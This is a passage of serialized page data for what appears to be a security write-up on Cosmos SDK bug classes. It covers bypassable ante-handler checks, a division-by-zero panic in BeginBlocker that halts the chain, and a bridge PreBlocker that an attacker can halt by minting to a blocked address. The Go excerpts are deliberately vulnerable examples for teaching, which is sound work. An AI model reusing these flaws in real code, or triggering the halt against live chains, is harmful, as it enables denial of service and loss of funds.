option\"",{"type":24,"tag":147,"props":86187,"children":86188},{"style":235},[86189],{"type":29,"value":1549},{"type":24,"tag":147,"props":86191,"children":86192},{"class":149,"line":805},[86193],{"type":24,"tag":147,"props":86194,"children":86195},{"style":235},[86196],{"type":29,"value":86078},{"type":24,"tag":147,"props":86198,"children":86199},{"class":149,"line":813},[86200],{"type":24,"tag":147,"props":86201,"children":86202},{"style":235},[86203],{"type":29,"value":1666},{"type":24,"tag":147,"props":86205,"children":86206},{"class":149,"line":821},[86207],{"type":24,"tag":147,"props":86208,"children":86209},{"emptyLinePlaceholder":16},[86210],{"type":29,"value":314},{"type":24,"tag":147,"props":86212,"children":86213},{"class":149,"line":1902},[86214,86218,86222,86226,86230,86234,86238,86242,86246],{"type":24,"tag":147,"props":86215,"children":86216},{"style":321},[86217],{"type":29,"value":66310},{"type":24,"tag":147,"props":86219,"children":86220},{"style":229},[86221],{"type":29,"value":85707},{"type":24,"tag":147,"props":86223,"children":86224},{"style":235},[86225],{"type":29,"value":480},{"type":24,"tag":147,"props":86227,"children":86228},{"style":247},[86229],{"type":29,"value":25884},{"type":24,"tag":147,"props":86231,"children":86232},{"style":235},[86233],{"type":29,"value":546},{"type":24,"tag":147,"props":86235,"children":86236},{"style":247},[86237],{"type":29,"value":84765},{"type":24,"tag":147,"props":86239,"children":86240},{"style":235},[86241],{"type":29,"value":546},{"type":24,"tag":147,"props":86243,"children":86244},{"style":247},[86245],{"type":29,"value":85645},{"type":24,"tag":147,"props":86247,"children":86248},{"style":235},[86249],{"type":29,"value":269},{"type":24,"tag":147,"props":86251,"children":86252},{"class":149,"line":1920},[86253],{"type":24,"tag":147,"props":86254,"children":86255},{"style":235},[86256],{"type":29,"value":1935},{"type":24,"tag":147,"props":86258,"children":86259},{"class":149,"line":1929},[86260],{"type":24,"tag":147,"props":86261,"children":86262},{"style":235},[86263],{"type":29,"value":441},{"type":24,"tag":147,"props":86265,"children":86266},{"class":149,"line":1938},[86267],{"type":24,"tag":147,"props":86268,"children":86269},{"emptyLinePlaceholder":16},[86270],{"type":29,"value":314},{"type":24,"tag":147,"props":86272,"children":86273},{"class":149,"line":1946},[86274],{"type":24,"tag":147,"props":86275,"children":86276},{"style":154},[86277],{"type":29,"value":86278},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":24,"tag":147,"props":86280,"children":86281},{"class":149,"line":1955},[86282],{"type":24,"tag":147,"props":86283,"children":86284},{"emptyLinePlaceholder":16},[86285],{"type":29,"value":314},{"type":24,"tag":147,"props":86287,"children":86288},{"class":149,"line":29376},[86289,86294,86298,86302,86306],{"type":24,"tag":147,"props":86290,"children":86291},{"style":321},[86292],{"type":29,"value":86293},"        switch",{"type":24,"tag":147,"props":86295,"children":86296},{"style":247},[86297],{"type":29,"value":73610},{"type":24,"tag":147,"props":86299,"children":86300},{"style":235},[86301],{"type":29,"value":84364},{"type":24,"tag":147,"props":86303,"children":86304},{"style":218},[86305],{"type":29,"value":38357},{"type":24,"tag":147,"props":86307,"children":86308},{"style":235},[86309],{"type":29,"value":505},{"type":24,"tag":147,"props":86311,"children":86312},{"class":149,"line":29384},[86313,86318,86322,86326,86330],{"type":24,"tag":147,"props":86314,"children":86315},{"style":321},[86316],{"type":29,"value":86317},"        case",{"type":24,"tag":147,"props":86319,"children":86320},{"style":9044},[86321],{"type":29,"value":84225},{"type":24,"tag":147,"props":86323,"children":86324},{"style":235},[86325],{"type":29,"value":87},{"type":24,"tag":147,"props":86327,"children":86328},{"style":9044},[86329],{"type":29,"value":84258},{"type":24,"tag":147,"props":86331,"children":86332},{"style":235},[86333],{"type":29,"value":11192},{"type":24,"tag":147,"props":86335,"children":86336},{"class":149,"line":29421},[86337,86342,86346,86350,86354,86358],{"type":24,"tag":147,"props":86338,"children":86339},{"style":247},[86340],{"type":29,"value":86341},"            anteHandler",{"type":24,"tag":147,"props":86343,"children":86344},{"style":241},[86345],{"type":29,"value":651},{"type":24,"tag":147,"props":86347,"children":86348},{"style":247},[86349],{"type":29,"value":84225},{"type":24,"tag":147,"props":86351,"children":86352},{"style":235},[86353],{"type":29,"value":87},{"type":24,"tag":147,"props":86355,"children":86356},{"style":229},[86357],{"type":29,"value":86016},{"type":24,"tag":147,"props":86359,"children":86360},{"style":235},[86361],{"type":29,"value":9088},{"type":24,"tag":147,"props":86363,"children":86364},{"class":149,"line":29434},[86365,86370,86374,86379,86383],{"type":24,"tag":147,"props":86366,"children":86367},{"style":247},[86368],{"type":29,"value":86369},"                authante",{"type":24,"tag":147,"props":86371,"children":86372},{"style":235},[86373],{"type":29,"value":87},{"type":24,"tag":147,"props":86375,"children":86376},{"style":229},[86377],{"type":29,"value":86378},"NewSetUpContextDecorator",{"type":24,"tag":147,"props":86380,"children":86381},{"style":235},[86382],{"type":29,"value":23982},{"type":24,"tag":147,"props":86384,"children":86385},{"style":154},[86386],{"type":29,"value":84879},{"type":24,"tag":147,"props":86388,"children":86389},{"class":149,"line":29447},[86390],{"type":24,"tag":147,"props":86391,"children":86392},{"style":241},[86393],{"type":29,"value":86394},"                 ...\n",{"type":24,"tag":147,"props":86396,"children":86397},{"class":149,"line":29460},[86398,86402,86406,86411,86415,86419,86423],{"type":24,"tag":147,"props":86399,"children":86400},{"style":247},[86401],{"type":29,"value":86369},{"type":24,"tag":147,"props":86403,"children":86404},{"style":235},[86405],{"type":29,"value":87},{"type":24,"tag":147,"props":86407,"children":86408},{"style":229},[86409],{"type":29,"value":86410},"NewIncrementSequenceDecorator",{"type":24,"tag":147,"props":86412,"children":86413},{"style":235},[86414],{"type":29,"value":480},{"type":24,"tag":147,"props":86416,"children":86417},{"style":247},[86418],{"type":29,"value":86061},{"type":24,"tag":147,"props":86420,"children":86421},{"style":235},[86422],{"type":29,"value":20789},{"type":24,"tag":147,"props":86424,"children":86425},{"style":154},[86426],{"type":29,"value":86427},"// innermost AnteDecorator\n",{"type":24,"tag":147,"props":86429,"children":86430},{"class":149,"line":29514},[86431],{"type":24,"tag":147,"props":86432,"children":86433},{"style":235},[86434],{"type":29,"value":83099},{"type":24,"tag":147,"props":86436,"children":86437},{"class":149,"line":29523},[86438,86443],{"type":24,"tag":147,"props":86439,"children":86440},{"style":321},[86441],{"type":29,"value":86442},"        default",{"type":24,"tag":147,"props":86444,"children":86445},{"style":235},[86446],{"type":29,"value":11192},{"type":24,"tag":147,"props":86448,"children":86449},{"class":149,"line":37881},[86450,86454,86458,86462,86466,86470,86474],{"type":24,"tag":147,"props":86451,"children":86452},{"style":321},[86453],{"type":29,"value":84660},{"type":24,"tag":147,"props":86455,"children":86456},{"style":247},[86457],{"type":29,"value":31444},{"type":24,"tag":147,"props":86459,"children":86460},{"style":235},[86461],{"type":29,"value":546},{"type":24,"tag":147,"props":86463,"children":86464},{"style":247},[86465],{"type":29,"value":86118},{"type":24,"tag":147,"props":86467,"children":86468},{"style":235},[86469],{"type":29,"value":87},{"type":24,"tag":147,"props":86471,"children":86472},{"style":229},[86473],{"type":29,"value":86127},{"type":24,"tag":147,"props":86475,"children":86476},{"style":235},[86477],{"type":29,"value":9088},{"type":24,"tag":147,"props":86479,"children":86480},{"class":149,"line":37902},[86481,86486,86490,86495,86499,86503,86507,86512,86516,86521,86525,86529],{"type":24,"tag":147,"props":86482,"children":86483},{"style":247},[86484],{"type":29,"value":86485},"                sdkerrors",{"type":24,"tag":147,"props":86487,"children":86488},{"style":235},[86489],{"type":29,"value":87},{"type":24,"tag":147,"props":86491,"children":86492},{"style":229},[86493],{"type":29,"value":86494},"Wrapf",{"type":24,"tag":147,"props":86496,"children":86497},{"style":235},[86498],{"type":29,"value":480},{"type":24,"tag":147,"props":86500,"children":86501},{"style":247},[86502],{"type":29,"value":86156},{"type":24,"tag":147,"props":86504,"children":86505},{"style":235},[86506],{"type":29,"value":87},{"type":24,"tag":147,"props":86508,"children":86509},{"style":247},[86510],{"type":29,"value":86511},"ErrUnknownRequest",{"type":24,"tag":147,"props":86513,"children":86514},{"style":235},[86515],{"type":29,"value":546},{"type":24,"tag":147,"props":86517,"children":86518},{"style":3534},[86519],{"type":29,"value":86520},"\"invalid transaction type: %T\"",{"type":24,"tag":147,"props":86522,"children":86523},{"style":235},[86524],{"type":29,"value":546},{"type":24,"tag":147,"props":86526,"children":86527},{"style":247},[86528],{"type":29,"value":84765},{"type":24,"tag":147,"props":86530,"children":86531},{"style":235},[86532],{"type":29,"value":12362},{"type":24,"tag":147,"props":86534,"children":86536},{"class":149,"line":86535},53,[86537,86542],{"type":24,"tag":147,"props":86538,"children":86539},{"style":3534},[86540],{"type":29,"value":86541},"                \"transaction is not an SDK tx\"",{"type":24,"tag":147,"props":86543,"children":86544},{"style":235},[86545],{"type":29,"value":1549},{"type":24,"tag":147,"props":86547,"children":86549},{"class":149,"line":86548},54,[86550],{"type":24,"tag":147,"props":86551,"children":86552},{"style":235},[86553],{"type":29,"value":83099},{"type":24,"tag":147,"props":86555,"children":86557},{"class":149,"line":86556},55,[86558],{"type":24,"tag":147,"props":86559,"children":86560},{"style":235},[86561],{"type":29,"value":441},{"type":24,"tag":147,"props":86563,"children":86565},{"class":149,"line":86564},56,[86566],{"type":24,"tag":147,"props":86567,"children":86568},{"emptyLinePlaceholder":16},[86569],{"type":29,"value":314},{"type":24,"tag":147,"props":86571,"children":86573},{"class":149,"line":86572},57,[86574,86578,86582,86586,86590,86594,86598,86602,86606],{"type":24,"tag":147,"props":86575,"children":86576},{"style":321},[86577],{"type":29,"value":7020},{"type":24,"tag":147,"props":86579,"children":86580},{"style":229},[86581],{"type":29,"value":85707},{"type":24,"tag":147,"props":86583,"children":86584},{"style":235},[86585],{"type":29,"value":480},{"type":24,"tag":147,"props":86587,"children":86588},{"style":247},[86589],{"type":29,"value":25884},{"type":24,"tag":147,"props":86591,"children":86592},{"style":235},[86593],{"type":29,"value":546},{"type":24,"tag":147,"props":86595,"children":86596},{"style":247},[86597],{"type":29,"value":84765},{"type":24,"tag":147,"props":86599,"children":86600},{"style":235},[86601],{"type":29,"value":546},{"type":24,"tag":147,"props":86603,"children":86604},{"style":247},[86605],{"type":29,"value":85645},{"type":24,"tag":147,"props":86607,"children":86608},{"style":235},[86609],{"type":29,"value":269},{"type":24,"tag":147,"props":86611,"children":86613},{"class":149,"line":86612},58,[86614],{"type":24,"tag":147,"props":86615,"children":86616},{"style":235},[86617],{"type":29,"value":1952},{"type":24,"tag":147,"props":86619,"children":86621},{"class":149,"line":86620},59,[86622],{"type":24,"tag":147,"props":86623,"children":86624},{"style":235},[86625],{"type":29,"value":827},{"type":24,"tag":25,"props":86627,"children":86628},{},[86629,86631,86636,86638,86645,86646,86653],{"type":29,"value":86630},"Additional examples of incorrect ",{"type":24,"tag":80,"props":86632,"children":86634},{"className":86633},[],[86635],{"type":29,"value":84054},{"type":29,"value":86637}," usage include ",{"type":24,"tag":2773,"props":86639,"children":86642},{"href":86640,"rel":86641},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[2777],[86643],{"type":29,"value":86644},"yet more bypassable checks and loss of funds",{"type":29,"value":855},{"type":24,"tag":2773,"props":86647,"children":86650},{"href":86648,"rel":86649},"https://github.com/cosmos/ibc-go/issues/853",[2777],[86651],{"type":29,"value":86652},"incorrect data passing between blockchains",{"type":29,"value":87},{"type":24,"tag":32,"props":86655,"children":86657},{"id":86656},"errors-panics-i-can-handle-it",[86658],{"type":29,"value":86659},"Errors? Panics? I can handle it",{"type":24,"tag":25,"props":86661,"children":86662},{},[86663],{"type":29,"value":86664},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":24,"tag":25,"props":86666,"children":86667},{},[86668],{"type":29,"value":86669},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":24,"tag":25,"props":86671,"children":86672},{},[86673,86675,86681,86683,86688],{"type":29,"value":86674},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":24,"tag":80,"props":86676,"children":86678},{"className":86677},[],[86679],{"type":29,"value":86680},"k.keeper.TotalReward()",{"type":29,"value":86682}," returns zero, the ",{"type":24,"tag":80,"props":86684,"children":86686},{"className":86685},[],[86687],{"type":29,"value":63532},{"type":29,"value":86689}," execution will simply rollback as if nothing has happened.",{"type":24,"tag":137,"props":86691,"children":86693},{"code":86692,"language":81748,"meta":7,"className":81749,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[86694],{"type":24,"tag":80,"props":86695,"children":86696},{"__ignoreMap":7},[86697,86730,86753,86781,86817,86824,86893,86931,86938,86970],{"type":24,"tag":147,"props":86698,"children":86699},{"class":149,"line":150},[86700,86704,86708,86713,86717,86721,86726],{"type":24,"tag":147,"props":86701,"children":86702},{"style":218},[86703],{"type":29,"value":81884},{"type":24,"tag":147,"props":86705,"children":86706},{"style":235},[86707],{"type":29,"value":408},{"type":24,"tag":147,"props":86709,"children":86710},{"style":247},[86711],{"type":29,"value":86712},"k ",{"type":24,"tag":147,"props":86714,"children":86715},{"style":9044},[86716],{"type":29,"value":81898},{"type":24,"tag":147,"props":86718,"children":86719},{"style":235},[86720],{"type":29,"value":564},{"type":24,"tag":147,"props":86722,"children":86723},{"style":229},[86724],{"type":29,"value":86725},"AllocateReward",{"type":24,"tag":147,"props":86727,"children":86728},{"style":235},[86729],{"type":29,"value":9088},{"type":24,"tag":147,"props":86731,"children":86732},{"class":149,"line":160},[86733,86737,86741,86745,86749],{"type":24,"tag":147,"props":86734,"children":86735},{"style":247},[86736],{"type":29,"value":81919},{"type":24,"tag":147,"props":86738,"children":86739},{"style":9044},[86740],{"type":29,"value":81924},{"type":24,"tag":147,"props":86742,"children":86743},{"style":235},[86744],{"type":29,"value":87},{"type":24,"tag":147,"props":86746,"children":86747},{"style":9044},[86748],{"type":29,"value":81933},{"type":24,"tag":147,"props":86750,"children":86751},{"style":235},[86752],{"type":29,"value":1549},{"type":24,"tag":147,"props":86754,"children":86755},{"class":149,"line":169},[86756,86760,86764,86768,86772,86777],{"type":24,"tag":147,"props":86757,"children":86758},{"style":247},[86759],{"type":29,"value":81945},{"type":24,"tag":147,"props":86761,"children":86762},{"style":241},[86763],{"type":29,"value":1263},{"type":24,"tag":147,"props":86765,"children":86766},{"style":9044},[86767],{"type":29,"value":11383},{"type":24,"tag":147,"props":86769,"children":86770},{"style":235},[86771],{"type":29,"value":87},{"type":24,"tag":147,"props":86773,"children":86774},{"style":9044},[86775],{"type":29,"value":86776},"MsgAllocateReward",{"type":24,"tag":147,"props":86778,"children":86779},{"style":235},[86780],{"type":29,"value":269},{"type":24,"tag":147,"props":86782,"children":86783},{"class":149,"line":178},[86784,86788,86792,86796,86800,86805,86809,86813],{"type":24,"tag":147,"props":86785,"children":86786},{"style":235},[86787],{"type":29,"value":480},{"type":24,"tag":147,"props":86789,"children":86790},{"style":241},[86791],{"type":29,"value":244},{"type":24,"tag":147,"props":86793,"children":86794},{"style":9044},[86795],{"type":29,"value":11383},{"type":24,"tag":147,"props":86797,"children":86798},{"style":235},[86799],{"type":29,"value":87},{"type":24,"tag":147,"props":86801,"children":86802},{"style":9044},[86803],{"type":29,"value":86804},"MsgAllocatRewardResponse",{"type":24,"tag":147,"props":86806,"children":86807},{"style":235},[86808],{"type":29,"value":546},{"type":24,"tag":147,"props":86810,"children":86811},{"style":9044},[86812],{"type":29,"value":20477},{"type":24,"tag":147,"props":86814,"children":86815},{"style":235},[86816],{"type":29,"value":505},{"type":24,"tag":147,"props":86818,"children":86819},{"class":149,"line":187},[86820],{"type":24,"tag":147,"props":86821,"children":86822},{"emptyLinePlaceholder":16},[86823],{"type":29,"value":314},{"type":24,"tag":147,"props":86825,"children":86826},{"class":149,"line":196},[86827,86832,86836,86841,86845,86850,86854,86859,86863,86867,86872,86876,86880,86884,86889],{"type":24,"tag":147,"props":86828,"children":86829},{"style":247},[86830],{"type":29,"value":86831},"    RewardPerShare",{"type":24,"tag":147,"props":86833,"children":86834},{"style":241},[86835],{"type":29,"value":82000},{"type":24,"tag":147,"props":86837,"children":86838},{"style":247},[86839],{"type":29,"value":86840}," k",{"type":24,"tag":147,"props":86842,"children":86843},{"style":235},[86844],{"type":29,"value":87},{"type":24,"tag":147,"props":86846,"children":86847},{"style":247},[86848],{"type":29,"value":86849},"keeper",{"type":24,"tag":147,"props":86851,"children":86852},{"style":235},[86853],{"type":29,"value":87},{"type":24,"tag":147,"props":86855,"children":86856},{"style":229},[86857],{"type":29,"value":86858},"Shares",{"type":24,"tag":147,"props":86860,"children":86861},{"style":235},[86862],{"type":29,"value":19658},{"type":24,"tag":147,"props":86864,"children":86865},{"style":241},[86866],{"type":29,"value":10204},{"type":24,"tag":147,"props":86868,"children":86869},{"style":247},[86870],{"type":29,"value":86871},"  k",{"type":24,"tag":147,"props":86873,"children":86874},{"style":235},[86875],{"type":29,"value":87},{"type":24,"tag":147,"props":86877,"children":86878},{"style":247},[86879],{"type":29,"value":86849},{"type":24,"tag":147,"props":86881,"children":86882},{"style":235},[86883],{"type":29,"value":87},{"type":24,"tag":147,"props":86885,"children":86886},{"style":229},[86887],{"type":29,"value":86888},"TotalReward",{"type":24,"tag":147,"props":86890,"children":86891},{"style":235},[86892],{"type":29,"value":13361},{"type":24,"tag":147,"props":86894,"children":86895},{"class":149,"line":205},[86896,86901,86905,86909,86913,86918,86922,86927],{"type":24,"tag":147,"props":86897,"children":86898},{"style":247},[86899],{"type":29,"value":86900},"    k",{"type":24,"tag":147,"props":86902,"children":86903},{"style":235},[86904],{"type":29,"value":87},{"type":24,"tag":147,"props":86906,"children":86907},{"style":247},[86908],{"type":29,"value":86849},{"type":24,"tag":147,"props":86910,"children":86911},{"style":235},[86912],{"type":29,"value":87},{"type":24,"tag":147,"props":86914,"children":86915},{"style":229},[86916],{"type":29,"value":86917},"DistributeReward",{"type":24,"tag":147,"props":86919,"children":86920},{"style":235},[86921],{"type":29,"value":480},{"type":24,"tag":147,"props":86923,"children":86924},{"style":247},[86925],{"type":29,"value":86926},"RewardPerShare",{"type":24,"tag":147,"props":86928,"children":86929},{"style":235},[86930],{"type":29,"value":269},{"type":24,"tag":147,"props":86932,"children":86933},{"class":149,"line":214},[86934],{"type":24,"tag":147,"props":86935,"children":86936},{"emptyLinePlaceholder":16},[86937],{"type":29,"value":314},{"type":24,"tag":147,"props":86939,"children":86940},{"class":149,"line":272},[86941,86945,86949,86953,86957,86962,86966],{"type":24,"tag":147,"props":86942,"children":86943},{"style":321},[86944],{"type":29,"value":2597},{"type":24,"tag":147,"props":86946,"children":86947},{"style":241},[86948],{"type":29,"value":12767},{"type":24,"tag":147,"props":86950,"children":86951},{"style":247},[86952],{"type":29,"value":11383},{"type":24,"tag":147,"props":86954,"children":86955},{"style":235},[86956],{"type":29,"value":87},{"type":24,"tag":147,"props":86958,"children":86959},{"style":247},[86960],{"type":29,"value":86961},"MsgAllocateRewardResponse",{"type":24,"tag":147,"props":86963,"children":86964},{"style":235},[86965],{"type":29,"value":546},{"type":24,"tag":147,"props":86967,"children":86968},{"style":218},[86969],{"type":29,"value":82226},{"type":24,"tag":147,"props":86971,"children":86972},{"class":149,"line":281},[86973],{"type":24,"tag":147,"props":86974,"children":86975},{"style":235},[86976],{"type":29,"value":827},{"type":24,"tag":25,"props":86978,"children":86979},{},[86980,86982,86988,86989,86995,86996,87002,87004,87009],{"type":29,"value":86981},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":24,"tag":80,"props":86983,"children":86985},{"className":86984},[],[86986],{"type":29,"value":86987},"PreBlocker",{"type":29,"value":546},{"type":24,"tag":80,"props":86990,"children":86992},{"className":86991},[],[86993],{"type":29,"value":86994},"BeginBlocker",{"type":29,"value":12113},{"type":24,"tag":80,"props":86997,"children":86999},{"className":86998},[],[87000],{"type":29,"value":87001},"EndBlocker",{"type":29,"value":87003},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":24,"tag":80,"props":87005,"children":87007},{"className":87006},[],[87008],{"type":29,"value":86994},{"type":29,"value":87010}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":24,"tag":137,"props":87012,"children":87014},{"code":87013,"language":81748,"meta":7,"className":81749,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[87015],{"type":24,"tag":80,"props":87016,"children":87017},{"__ignoreMap":7},[87018,87083,87090,87138,87166,87173,87185],{"type":24,"tag":147,"props":87019,"children":87020},{"class":149,"line":150},[87021,87025,87030,87034,87038,87042,87046,87050,87054,87058,87063,87067,87071,87075,87079],{"type":24,"tag":147,"props":87022,"children":87023},{"style":218},[87024],{"type":29,"value":81884},{"type":24,"tag":147,"props":87026,"children":87027},{"style":229},[87028],{"type":29,"value":87029}," BeginBlocker",{"type":24,"tag":147,"props":87031,"children":87032},{"style":235},[87033],{"type":29,"value":480},{"type":24,"tag":147,"props":87035,"children":87036},{"style":247},[87037],{"type":29,"value":25884},{"type":24,"tag":147,"props":87039,"children":87040},{"style":9044},[87041],{"type":29,"value":81924},{"type":24,"tag":147,"props":87043,"children":87044},{"style":235},[87045],{"type":29,"value":87},{"type":24,"tag":147,"props":87047,"children":87048},{"style":9044},[87049],{"type":29,"value":81933},{"type":24,"tag":147,"props":87051,"children":87052},{"style":235},[87053],{"type":29,"value":546},{"type":24,"tag":147,"props":87055,"children":87056},{"style":247},[87057],{"type":29,"value":86849},{"type":24,"tag":147,"props":87059,"children":87060},{"style":9044},[87061],{"type":29,"value":87062}," keeper",{"type":24,"tag":147,"props":87064,"children":87065},{"style":235},[87066],{"type":29,"value":87},{"type":24,"tag":147,"props":87068,"children":87069},{"style":9044},[87070],{"type":29,"value":85529},{"type":24,"tag":147,"props":87072,"children":87073},{"style":235},[87074],{"type":29,"value":564},{"type":24,"tag":147,"props":87076,"children":87077},{"style":9044},[87078],{"type":29,"value":20477},{"type":24,"tag":147,"props":87080,"children":87081},{"style":235},[87082],{"type":29,"value":6630},{"type":24,"tag":147,"props":87084,"children":87085},{"class":149,"line":160},[87086],{"type":24,"tag":147,"props":87087,"children":87088},{"emptyLinePlaceholder":16},[87089],{"type":29,"value":314},{"type":24,"tag":147,"props":87091,"children":87092},{"class":149,"line":169},[87093,87097,87101,87105,87109,87113,87117,87121,87126,87130,87134],{"type":24,"tag":147,"props":87094,"children":87095},{"style":247},[87096],{"type":29,"value":86831},{"type":24,"tag":147,"props":87098,"children":87099},{"style":241},[87100],{"type":29,"value":82000},{"type":24,"tag":147,"props":87102,"children":87103},{"style":247},[87104],{"type":29,"value":87062},{"type":24,"tag":147,"props":87106,"children":87107},{"style":235},[87108],{"type":29,"value":87},{"type":24,"tag":147,"props":87110,"children":87111},{"style":229},[87112],{"type":29,"value":86858},{"type":24,"tag":147,"props":87114,"children":87115},{"style":235},[87116],{"type":29,"value":19658},{"type":24,"tag":147,"props":87118,"children":87119},{"style":241},[87120],{"type":29,"value":10204},{"type":24,"tag":147,"props":87122,"children":87123},{"style":247},[87124],{"type":29,"value":87125},"  keeper",{"type":24,"tag":147,"props":87127,"children":87128},{"style":235},[87129],{"type":29,"value":87},{"type":24,"tag":147,"props":87131,"children":87132},{"style":229},[87133],{"type":29,"value":86888},{"type":24,"tag":147,"props":87135,"children":87136},{"style":235},[87137],{"type":29,"value":13361},{"type":24,"tag":147,"props":87139,"children":87140},{"class":149,"line":178},[87141,87146,87150,87154,87158,87162],{"type":24,"tag":147,"props":87142,"children":87143},{"style":247},[87144],{"type":29,"value":87145},"    keeper",{"type":24,"tag":147,"props":87147,"children":87148},{"style":235},[87149],{"type":29,"value":87},{"type":24,"tag":147,"props":87151,"children":87152},{"style":229},[87153],{"type":29,"value":86917},{"type":24,"tag":147,"props":87155,"children":87156},{"style":235},[87157],{"type":29,"value":480},{"type":24,"tag":147,"props":87159,"children":87160},{"style":247},[87161],{"type":29,"value":86926},{"type":24,"tag":147,"props":87163,"children":87164},{"style":235},[87165],{"type":29,"value":269},{"type":24,"tag":147,"props":87167,"children":87168},{"class":149,"line":187},[87169],{"type":24,"tag":147,"props":87170,"children":87171},{"emptyLinePlaceholder":16},[87172],{"type":29,"value":314},{"type":24,"tag":147,"props":87174,"children":87175},{"class":149,"line":196},[87176,87180],{"type":24,"tag":147,"props":87177,"children":87178},{"style":321},[87179],{"type":29,"value":58456},{"type":24,"tag":147,"props":87181,"children":87182},{"style":218},[87183],{"type":29,"value":87184}," nil\n",{"type":24,"tag":147,"props":87186,"children":87187},{"class":149,"line":205},[87188],{"type":24,"tag":147,"props":87189,"children":87190},{"style":235},[87191],{"type":29,"value":827},{"type":24,"tag":43,"props":87193,"children":87195},{"id":87194},"real-world-examples-3",[87196],{"type":29,"value":82273},{"type":24,"tag":25,"props":87198,"children":87199},{},[87200],{"type":29,"value":87201},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":24,"tag":25,"props":87203,"children":87204},{},[87205,87207,87213,87215,87220,87222,87228,87230,87236,87238,87244],{"type":29,"value":87206},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":24,"tag":80,"props":87208,"children":87210},{"className":87209},[],[87211],{"type":29,"value":87212},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":87214}," will be bubbled up through ",{"type":24,"tag":80,"props":87216,"children":87218},{"className":87217},[],[87219],{"type":29,"value":86987},{"type":29,"value":87221}," and halt the chain. It turns out an attacker can force ",{"type":24,"tag":80,"props":87223,"children":87225},{"className":87224},[],[87226],{"type":29,"value":87227},"SendCoinsFromModuleToAccount",{"type":29,"value":87229}," to return an error by setting ",{"type":24,"tag":80,"props":87231,"children":87233},{"className":87232},[],[87234],{"type":29,"value":87235},"recipient",{"type":29,"value":87237}," to some ",{"type":24,"tag":80,"props":87239,"children":87241},{"className":87240},[],[87242],{"type":29,"value":87243},"BlockedAddr",{"type":29,"value":87245},",rendering the code susceptible to DoS attacks.",{"type":24,"tag":25,"props":87247,"children":87248},{},[87249],{"type":24,"tag":2773,"props":87250,"children":87253},{"href":87251,"rel":87252},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[2777],[87254],{"type":29,"value":82323},{"type":24,"tag":137,"props":87256,"children":87258},{"code":87257,"language":81748,"meta":7,"className":81749,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[87259],{"type":24,"tag":80,"props":87260,"children":87261},{"__ignoreMap":7},[87262,87315,87330,87353,87383,87419,87427,87483,87507,87557,87564,87571,87578,87585,87592,87623,87646,87671,87686,87693,87730,87784,87807,87848,87855,87862,87912,87973,87996,88019,88031,88052,88064,88072,88079,88094,88102,88109,88116,88123,88130,88137,88168,88191,88216,88241,88256,88263,88300,88311,88332,88343,88355,88362,88385,88425,88432,88439],{"type":24,"tag":147,"props":87263,"children":87264},{"class":149,"line":150},[87265,87269,87273,87278,87282,87287,87291,87295,87299,87303,87307,87311],{"type":24,"tag":147,"props":87266,"children":87267},{"style":218},[87268],{"type":29,"value":81884},{"type":24,"tag":147,"props":87270,"children":87271},{"style":235},[87272],{"type":29,"value":408},{"type":24,"tag":147,"props":87274,"children":87275},{"style":247},[87276],{"type":29,"value":87277},"pbh 